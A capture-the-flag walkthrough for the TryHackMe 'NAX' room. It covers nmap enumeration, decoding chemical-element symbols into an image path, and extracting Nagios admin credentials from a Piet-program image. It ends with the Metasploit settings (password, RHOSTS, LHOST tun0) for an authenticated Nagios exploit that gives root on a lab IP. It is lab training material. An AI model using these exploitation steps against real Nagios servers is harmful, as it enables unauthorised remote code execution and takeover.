NAx is a machine released by Track Hack Me.

https://tryhackme.com/room/nax

Summary

The website shows a weird page which turns out to be chemical elements after solving this puzzle we are able to download a image file. when we do some stego stuff we are able to get some credentials for nagios. there is a Nagios Authenticated exploit available for nagios. after executing this we were able to get root on the box.

Enumeration

Nmap Scan

nmap -sV -sC  10.10.233.26

Web Page

When we go to the webpage, we see the following.

‘Decrypting’ the chemistry elements

This seems some kind of chemistry. (Ag – Hg – Ta – Sb – Po – Pd – Hg – Pt – Lr)

After some time, I googled: chemistry elements

Then I saw the following table.

Now each element represents a number:

Ag = 47

Hg = 80

Ta = 73

Sb = 51

Po = 84

Pd = 46

Hg = 80

Pt = 78  

Lr = 103

Now we place those number behind each other.

47 80 73 51 84 46 80 78 103

Converting ascii to test

Resource: https://convert.town/ascii-to-text

Now I put those numbers into the webpage table.

We found a new URL/image.

/PI3T.PNg

 

Downloading Image

In order to get the image on the system, I download it.

wget http://10.10.233.26/PI3T.PNg

Stego Stuff

Now performed some basic stego stuff.

exiftool PI3T.PNg

We see the artist is Piet Mondrian.

So, I searched for:

                Piet Mondrian crypto

Then I saw this reddit page:

From this reddit page, I can up to a webpage.

https://www.dangermouse.net/esoteric/piet.html

After reading this I googled the following.

https://www.bertnase.de/npiet/npiet-execute.php

Extract information from the imgae.

After we upload and execute it we see the following.

Some creddentails for something called: Nagios.

nagiosadmin:n3p3UQ&9BjLp4$7uhWdY

Locating the right exploit

searchsploit Nagios

We can use this exploit, because we already have the credentials to login.

Configuring msf exploit

Commands which I used to configure the exploit correctly.

set PASSWORD n3p3UQ&9BjLp4$7uhWdY

set USERNAME nagiosadmin

set rhosts  10.10.233.26

set lhost tun0

exploit

We are root now.

Made by Icel0rd